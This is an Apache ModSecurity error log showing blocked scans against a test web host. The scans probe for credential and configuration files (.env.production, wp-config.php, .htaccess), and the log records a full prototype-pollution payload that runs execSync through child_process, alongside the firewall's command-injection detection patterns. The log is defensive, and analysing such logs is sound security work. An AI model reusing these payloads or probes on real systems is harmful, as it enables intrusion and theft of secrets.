[Fri Mar 13 19:39:13.344199 2026] [:error] [pid 2667039] [client 45.148.10.238:35216] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abRZ0dRr9pIXC8J_6s69dQAAAAo"]
[Sat Mar 14 21:54:56.797811 2026] [:error] [pid 2688941] [client 85.11.167.19:56336] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1773521696_2109',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLILFZWZJT_D3Qkz1YJwAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.797923 2026] [:error] [pid 2688941] [client 85.11.167.19:56336] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo VULN_1773521696_2109',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [ [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLILFZWZJT_D3Qkz1YJwAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.797994 2026] [:error] [pid 2688941] [client 85.11.167.19:56336] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1773521696_2109 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLILFZWZJT_D3Qkz1YJwAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.798793 2026] [:error] [pid 2688941] [client 85.11.167.19:56336] [client 85.11.167.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLILFZWZJT_D3Qkz1YJwAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.798924 2026] [:error] [pid 2688941] [client 85.11.167.19:56336] [client 85.11.167.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLILFZWZJT_D3Qkz1YJwAAAAo"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.922370 2026] [:error] [pid 2685234] [client 85.11.167.19:56344] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "160"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1773521696',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "app [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLIF9pZ447sPa7JmmKkwAAAAE"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.922481 2026] [:error] [pid 2685234] [client 85.11.167.19:56344] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "298"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {'timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo TEST_1773521696',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag " [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLIF9pZ447sPa7JmmKkwAAAAE"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.922539 2026] [:error] [pid 2685234] [client 85.11.167.19:56344] [client 85.11.167.19] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1773521696 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLIF9pZ447sPa7JmmKkwAAAAE"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.923375 2026] [:error] [pid 2685234] [client 85.11.167.19:56344] [client 85.11.167.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLIF9pZ447sPa7JmmKkwAAAAE"], referer: https://forst-trento.test.indacotrentino.com
[Sat Mar 14 21:54:56.923544 2026] [:error] [pid 2685234] [client 85.11.167.19:56344] [client 85.11.167.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abXLIF9pZ447sPa7JmmKkwAAAAE"], referer: https://forst-trento.test.indacotrentino.com
[Sun Mar 15 08:09:58.804404 2026] [:error] [pid 2711296] [client 46.246.122.100:21153] [client 46.246.122.100] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZbRrjeJp5y3TaaIj9ucAAAAAg"]
[Sun Mar 15 08:09:58.804725 2026] [:error] [pid 2711296] [client 46.246.122.100:21153] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZbRrjeJp5y3TaaIj9ucAAAAAg"]
[Sun Mar 15 08:09:58.804890 2026] [:error] [pid 2711296] [client 46.246.122.100:21153] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZbRrjeJp5y3TaaIj9ucAAAAAg"]
[Sun Mar 15 08:10:01.025512 2026] [:error] [pid 2708246] [client 46.246.122.100:11591] [client 46.246.122.100] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /xsoja9vkq3zlnlnva.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xsoja9vKq3zLnLNvA.htaccess"] [unique_id "abZbSVRPDbn7htWAttPykgAAAAI"]
[Sun Mar 15 08:10:01.025718 2026] [:error] [pid 2708246] [client 46.246.122.100:11591] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xsoja9vKq3zLnLNvA.htaccess"] [unique_id "abZbSVRPDbn7htWAttPykgAAAAI"]
[Sun Mar 15 08:10:01.025847 2026] [:error] [pid 2708246] [client 46.246.122.100:11591] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xsoja9vKq3zLnLNvA.htaccess"] [unique_id "abZbSVRPDbn7htWAttPykgAAAAI"]
[Sun Mar 15 08:10:01.396616 2026] [:error] [pid 2708244] [client 46.246.122.100:34277] [client 46.246.122.100] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /jwoqfspkvcmvbwtmfq.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/jwoqfsPKvcMvbWtmFq.htaccess"] [unique_id "abZbScvpIxk5lGn4VceEVgAAAAA"]
[Sun Mar 15 08:10:01.396902 2026] [:error] [pid 2708244] [client 46.246.122.100:34277] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/jwoqfsPKvcMvbWtmFq.htaccess"] [unique_id "abZbScvpIxk5lGn4VceEVgAAAAA"]
[Sun Mar 15 08:10:01.397051 2026] [:error] [pid 2708244] [client 46.246.122.100:34277] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/jwoqfsPKvcMvbWtmFq.htaccess"] [unique_id "abZbScvpIxk5lGn4VceEVgAAAAA"]
[Sun Mar 15 08:10:01.772325 2026] [:error] [pid 2708245] [client 46.246.122.100:52131] [client 46.246.122.100] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /jire36f0wsfcpajal6u.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/JIre36f0WsFCPAJAL6U.htaccess"] [unique_id "abZbSWVA5r3y32C4HEIQ4AAAAAE"]
[Sun Mar 15 08:10:01.772562 2026] [:error] [pid 2708245] [client 46.246.122.100:52131] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/JIre36f0WsFCPAJAL6U.htaccess"] [unique_id "abZbSWVA5r3y32C4HEIQ4AAAAAE"]
[Sun Mar 15 08:10:01.772693 2026] [:error] [pid 2708245] [client 46.246.122.100:52131] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/JIre36f0WsFCPAJAL6U.htaccess"] [unique_id "abZbSWVA5r3y32C4HEIQ4AAAAAE"]
[Sun Mar 15 08:10:02.148472 2026] [authz_core:error] [pid 2711296] [client 46.246.122.100:18580] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Mar 15 08:10:49.348342 2026] [:error] [pid 2708281] [client 46.246.122.100:4319] [client 46.246.122.100] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZbeYj6PU2DhLTOjMG_zgAAAAY"]
[Sun Mar 15 08:10:49.348549 2026] [:error] [pid 2708281] [client 46.246.122.100:4319] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZbeYj6PU2DhLTOjMG_zgAAAAY"]
[Sun Mar 15 08:10:49.348663 2026] [:error] [pid 2708281] [client 46.246.122.100:4319] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZbeYj6PU2DhLTOjMG_zgAAAAY"]
[Sun Mar 15 08:13:03.008224 2026] [:error] [pid 2708248] [client 46.246.122.100:35053] [client 46.246.122.100] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZb_wNoJq7fnUw0FhGNRwAAAAQ"]
[Sun Mar 15 08:13:03.008504 2026] [:error] [pid 2708248] [client 46.246.122.100:35053] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZb_wNoJq7fnUw0FhGNRwAAAAQ"]
[Sun Mar 15 08:13:03.008675 2026] [:error] [pid 2708248] [client 46.246.122.100:35053] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZb_wNoJq7fnUw0FhGNRwAAAAQ"]
[Sun Mar 15 08:13:09.744549 2026] [:error] [pid 2708247] [client 46.246.122.100:42126] [client 46.246.122.100] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZcBWAJ710PJa37ZB3vigAAAAM"]
[Sun Mar 15 08:13:09.744848 2026] [:error] [pid 2708247] [client 46.246.122.100:42126] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZcBWAJ710PJa37ZB3vigAAAAM"]
[Sun Mar 15 08:13:09.745024 2026] [:error] [pid 2708247] [client 46.246.122.100:42126] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZcBWAJ710PJa37ZB3vigAAAAM"]
